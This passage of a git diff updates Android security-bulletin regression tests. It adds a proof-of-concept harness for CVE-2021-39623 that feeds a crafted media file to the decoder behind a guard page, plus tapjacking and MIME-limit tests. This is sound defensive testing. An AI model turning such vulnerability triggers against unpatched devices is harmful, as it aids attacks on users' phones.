proc_type attribute. * * @throws Exception @@ -1356,7 +1338,7 @@ public class SELinuxHostTest extends BaseHostJUnit4Test { @CddTest(requirement="9.7") @Test public void testDrmServerDomain() throws DeviceNotAvailableException { - assertDomainN("u:r:drmserver:s0", "/system/bin/drmserver", "/system/bin/drmserver64"); + assertDomainHasExecutable("u:r:drmserver:s0", "/system/bin/drmserver", "/system/bin/drmserver64"); } /* Installd is always running */ diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp index 323d5b7f573..25242273f6b 100644 --- a/hostsidetests/securitybulletin/Android.bp +++ b/hostsidetests/securitybulletin/Android.bp @@ -23,7 +23,6 @@ java_test_host { java_resource_dirs: ["res"], // tag this module as a cts test artifact test_suites: [ - "cts", "general-tests", "sts", ], @@ -44,6 +43,7 @@ java_test_host { cc_defaults { name: "cts_hostsidetests_securitybulletin_defaults", + auto_gen_config: false, compile_multilib: "both", multilib: { lib32: { @@ -60,7 +60,6 @@ cc_defaults { }, }, test_suites: [ - "cts", "sts", "general-tests", ], diff --git a/hostsidetests/securitybulletin/res/cve_2021_39623.ogg b/hostsidetests/securitybulletin/res/cve_2021_39623.ogg Binary files differnew file mode 100644 index 00000000000..1992a17f915 --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2021_39623.ogg diff --git a/hostsidetests/securitybulletin/res/cve_2022_22082.dsf b/hostsidetests/securitybulletin/res/cve_2022_22082.dsf Binary files differnew file mode 100644 index 00000000000..60d1a5afbbc --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2022_22082.dsf diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp new file mode 100644 index 00000000000..50662fdeae6 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp @@ -0,0 +1,36 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2021-39623", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ], + header_libs: [ + "libmediametrics_headers", + ], + shared_libs: [ + "libstagefright", + "libdatasource", + "libutils", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp new file mode 100644 index 00000000000..d9e38baa633 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp @@ -0,0 +1,99 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include "../includes/common.h" +#include <datasource/DataSourceFactory.h> +#include <dlfcn.h> +#include <gui/SurfaceComposerClient.h> +#include <media/IMediaHTTPService.h> +#include <media/stagefright/InterfaceUtils.h> +#include <media/stagefright/MediaCodecList.h> +#include <media/stagefright/MediaExtractorFactory.h> +#include <media/stagefright/SimpleDecodingSource.h> +#include <sys/mman.h> + +typedef void *(*mmap_t)(void *, size_t, int, int, int, off_t); +mmap_t real_mmap = nullptr; + +using namespace android; + +bool testInProgress = false; +constexpr size_t kTargetBufferSize = 32768; +struct sigaction new_action, old_action; +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + +void *mmap(void *addr, size_t length, int prot, int flags, int fd, + off_t offset) { + real_mmap = (mmap_t)dlsym(RTLD_NEXT, "mmap"); + if (!real_mmap) { + exit(EXIT_FAILURE); + } + if (length == kTargetBufferSize) { + char *tmp_ptr = (char *)real_mmap(addr, length + PAGE_SIZE, prot, + flags | MAP_ANONYMOUS, -1, offset); + mprotect(tmp_ptr + length, PAGE_SIZE, PROT_NONE); + return tmp_ptr; + } + return real_mmap(addr, length, prot, flags, fd, offset); +} + +int main(int argc, char **argv) { + FAIL_CHECK(argc > 1); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + sp<DataSource> dataSource = DataSourceFactory::getInstance()->CreateFromURI( + nullptr /* httpService */, argv[1]); + FAIL_CHECK(dataSource); + + sp<IMediaExtractor> extractor = MediaExtractorFactory::Create(dataSource); + FAIL_CHECK(extractor); + + sp<MediaSource> mediaSource = + CreateMediaSourceFromIMediaSource(extractor->getTrack(0)); + FAIL_CHECK(mediaSource); + + sp<MediaSource> rawSource = SimpleDecodingSource::Create( + mediaSource, MediaCodecList::kPreferSoftwareCodecs, nullptr, nullptr, + false); + FAIL_CHECK(rawSource); + + status_t err = rawSource->start(); + FAIL_CHECK(err == OK); + + MediaSource::ReadOptions options = {}; + MediaBufferBase *buffer = nullptr; + + testInProgress = true; + rawSource->read(&buffer, &options); + testInProgress = false; + if (buffer) { + buffer->release(); + buffer = nullptr; + } + options.clearSeekTo(); + options.setSeekTo(0); + rawSource->stop(); + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java index c8e8cbfe049..52141c668ef 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java @@ -16,44 +16,41 @@ package android.security.cts; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; +import static org.junit.Assume.assumeTrue; + import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.MetricsReportLog; import com.android.compatibility.common.util.ResultType; import com.android.compatibility.common.util.ResultUnit; +import com.android.ddmlib.CollectingOutputReceiver; import com.android.ddmlib.IShellOutputReceiver; import com.android.ddmlib.NullOutputReceiver; -import com.android.ddmlib.CollectingOutputReceiver; +import com.android.sts.common.tradefed.testtype.SecurityTestCase; import com.android.tradefed.device.DeviceNotAvailableException; import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.device.NativeDevice; import com.android.tradefed.log.LogUtil.CLog; +import org.json.JSONArray; +import org.json.JSONException; +import org.json.JSONObject; + import java.io.BufferedOutputStream; import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream; -import java.util.concurrent.TimeoutException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; import java.util.List; import java.util.Map; -import java.util.regex.Matcher; -import java.util.regex.Pattern; -import java.util.concurrent.TimeUnit; import java.util.Scanner; -import java.util.Arrays; -import java.util.ArrayList; -import java.util.concurrent.Callable; -import java.util.Collections; - -import org.json.JSONArray; -import org.json.JSONException; -import org.json.JSONObject; - +import java.util.concurrent.TimeUnit; +import java.util.regex.Matcher; import java.util.regex.Pattern; -import java.lang.Thread; - -import static org.junit.Assert.*; -import static org.junit.Assume.*; public class AdbUtils { diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java index 0822c75c100..6a259b4e744 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java @@ -16,19 +16,20 @@ package android.security.cts; -import static org.junit.Assume.assumeTrue; import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeTrue; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Before; +import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; - @RunWith(DeviceJUnit4ClassRunner.class) -public final class Bug_182282630 extends SecurityTestCase { +public final class Bug_182282630 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.BUG_182282630"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "BUG-182282630.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java index 57e26353662..52f680efe13 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java @@ -21,14 +21,15 @@ import static org.junit.Assume.assumeTrue; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Before; +import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; - @RunWith(DeviceJUnit4ClassRunner.class) -public final class Bug_182808318 extends SecurityTestCase { +public final class Bug_182808318 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.BUG_182808318"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "BUG-182808318.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java new file mode 100644 index 00000000000..b461fae5608 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java @@ -0,0 +1,54 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeTrue; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class Bug_182810085 extends NonRootSecurityTestCase { + private static final String TEST_PKG = "android.security.cts.BUG_182810085"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "BUG-182810085.apk"; + + @Before + public void setUp() throws Exception { + assumeTrue( + "not an Automotive device", + getDevice().hasFeature("feature:android.hardware.type.automotive")); + uninstallPackage(getDevice(), TEST_PKG); + } + + @Test + @AsbSecurityTest(cveBugId = 182810085) + public void testRunDeviceTestsPassesFull() throws Exception { + installPackage(TEST_APP); + // Grant permission to draw overlays. + getDevice().executeShellCommand( + "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW"); + assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testTapjacking")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java index e3dd727793c..1295a85f1a9 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java @@ -16,19 +16,20 @@ package android.security.cts; -import static org.junit.Assume.assumeTrue; import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeTrue; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Before; +import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; - @RunWith(DeviceJUnit4ClassRunner.class) -public final class Bug_183410508 extends SecurityTestCase { +public final class Bug_183410508 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.BUG_183410508"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "BUG-183410508.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java index d59fce4e74f..fac7d0e8f61 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java @@ -21,6 +21,7 @@ import static org.junit.Assume.assumeTrue; import android.platform.test.annotations.AsbSecurityTest; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import org.junit.Before; @@ -28,7 +29,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public final class Bug_183411210 extends SecurityTestCase { +public final class Bug_183411210 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.BUG_183411210"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "BUG-183411210.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java index df7556c45b3..bbcd64c16fd 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java @@ -16,19 +16,20 @@ package android.security.cts; -import static org.junit.Assume.assumeTrue; import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeTrue; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Before; +import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; - @RunWith(DeviceJUnit4ClassRunner.class) -public final class Bug_183411279 extends SecurityTestCase { +public final class Bug_183411279 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.BUG_183411279"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "BUG-183411279.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java index 75bbd0ac298..f0b6568d57e 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java @@ -23,10 +23,10 @@ import org.junit.Test; import org.junit.Before; import org.junit.runner.RunWith; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; @RunWith(DeviceJUnit4ClassRunner.class) -public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase { +public final class Bug_183613671 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.BUG_183613671"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "BUG-183613671.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java index 73cfdb9762d..8045838cfb1 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java @@ -16,19 +16,20 @@ package android.security.cts; -import static org.junit.Assume.assumeTrue; import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeTrue; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Before; +import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; - @RunWith(DeviceJUnit4ClassRunner.class) -public final class Bug_183794206 extends SecurityTestCase { +public final class Bug_183794206 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.BUG_183794206"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "BUG-183794206.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java index adf6103043a..7b183b387d9 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java @@ -25,10 +25,10 @@ import org.junit.Before; import org.junit.runner.RunWith; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; @RunWith(DeviceJUnit4ClassRunner.class) -public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase { +public final class Bug_183963253 extends NonRootSecurityTestCase { private static final String TEST_PKG = "android.security.cts.BUG_183963253"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "BUG-183963253.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java index 84ae1149b3c..5580acb598f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java @@ -15,15 +15,19 @@ */ package android.security.cts; + import static org.junit.Assume.assumeFalse; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Bug_187957589 extends SecurityTestCase { +public class Bug_187957589 extends NonRootSecurityTestCase { /** * b/187957589 * Vulnerability Behaviour: out of bounds write in noteAtomLogged for negative atom ids. diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java new file mode 100644 index 00000000000..0723e538724 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java @@ -0,0 +1,66 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.hamcrest.CoreMatchers.containsString; +import static org.junit.Assert.assertThat; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.targetprep.TargetSetupError; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public final class Bug_237291548 extends NonRootSecurityTestCase { + + private static final String TEST_PKG = "android.security.cts.BUG_237291548"; + private static final String TEST_CLASS = TEST_PKG + ".DeviceTest"; + private static final String TEST_APP = "BUG-237291548.apk"; + private static final String TEST_FAIL_INSTALL_APP = "BUG-237291548-FAIL-INSTALL.apk"; + + @Before + public void setUp() throws Exception { + super.setUp(); + uninstallPackage(getDevice(), TEST_PKG); + } + + @Test + @AsbSecurityTest(cveBugId = 237291548) + public void testRunDeviceTestsPassesFull() throws Exception { + installPackage(TEST_APP); + + runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedGroupLimit"); + runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedMimeLengthLimit"); + } + + @Test(expected = TargetSetupError.class) + @AsbSecurityTest(cveBugId = 237291548) + public void testInvalidApkFails() throws Exception { + try { + installPackage(TEST_FAIL_INSTALL_APP); + } catch (TargetSetupError e) { + assertThat(e.getMessage(), + containsString("Max limit on number of MIME Groups reached")); + throw e; + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java index 4ee8a5e1833..a4b8506aed2 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java @@ -15,15 +15,20 @@ */ package android.security.cts; + +import static org.junit.Assume.assumeFalse; + import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.compatibility.common.util.CrashUtils; -import static org.junit.Assume.assumeFalse; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2016_2182 extends SecurityTestCase { +public class CVE_2016_2182 extends NonRootSecurityTestCase { /** * b/32096880 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java index 462864bf719..21057e216ab 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2016_8332 extends SecurityTestCase { +public class CVE_2016_8332 extends NonRootSecurityTestCase { /** * b/37761553 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java index 02675513dc3..91766f8ee06 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java @@ -15,13 +15,17 @@ */ package android.security.cts; + import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2017_0684 extends SecurityTestCase { +public class CVE_2017_0684 extends NonRootSecurityTestCase { /** * b/35421151 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java index 4f08b711fda..397078d08ff 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java @@ -15,13 +15,17 @@ */ package android.security.cts; + import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2017_0726 extends SecurityTestCase { +public class CVE_2017_0726 extends NonRootSecurityTestCase { /** * b/36389123 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java index 62c72f2067e..bd69afb4e57 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java @@ -15,16 +15,20 @@ */ package android.security.cts; -import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import static org.junit.Assert.*; import static org.junit.Assume.*; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2017_13194 extends SecurityTestCase { +public class CVE_2017_13194 extends NonRootSecurityTestCase { /** * b/64710201 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java index 0990cd448ec..f67c556e4df 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2018_9410 extends SecurityTestCase { +public class CVE_2018_9410 extends NonRootSecurityTestCase { /** * b/77822336 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java index df360d0d1d0..d58b3c39991 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java @@ -17,13 +17,16 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + import com.android.compatibility.common.util.CrashUtils; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import org.junit.runner.RunWith; + import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2018_9537 extends SecurityTestCase { +public class CVE_2018_9537 extends NonRootSecurityTestCase { /** * b/112891564 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java index 1bb5e0a4679..f4a91b43485 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2018_9547 extends SecurityTestCase { +public class CVE_2018_9547 extends NonRootSecurityTestCase { /** * b/114223584 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java index bf2b0d1d3f9..1db523b4d1a 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java @@ -17,13 +17,16 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + import com.android.compatibility.common.util.CrashUtils; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import org.junit.runner.RunWith; + import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2018_9549 extends SecurityTestCase { +public class CVE_2018_9549 extends NonRootSecurityTestCase { /** * b/112160868 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java index a4d088dfdc6..fdf85b77234 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java @@ -21,6 +21,7 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import org.junit.Test; @@ -29,7 +30,7 @@ import org.junit.runner.RunWith; import 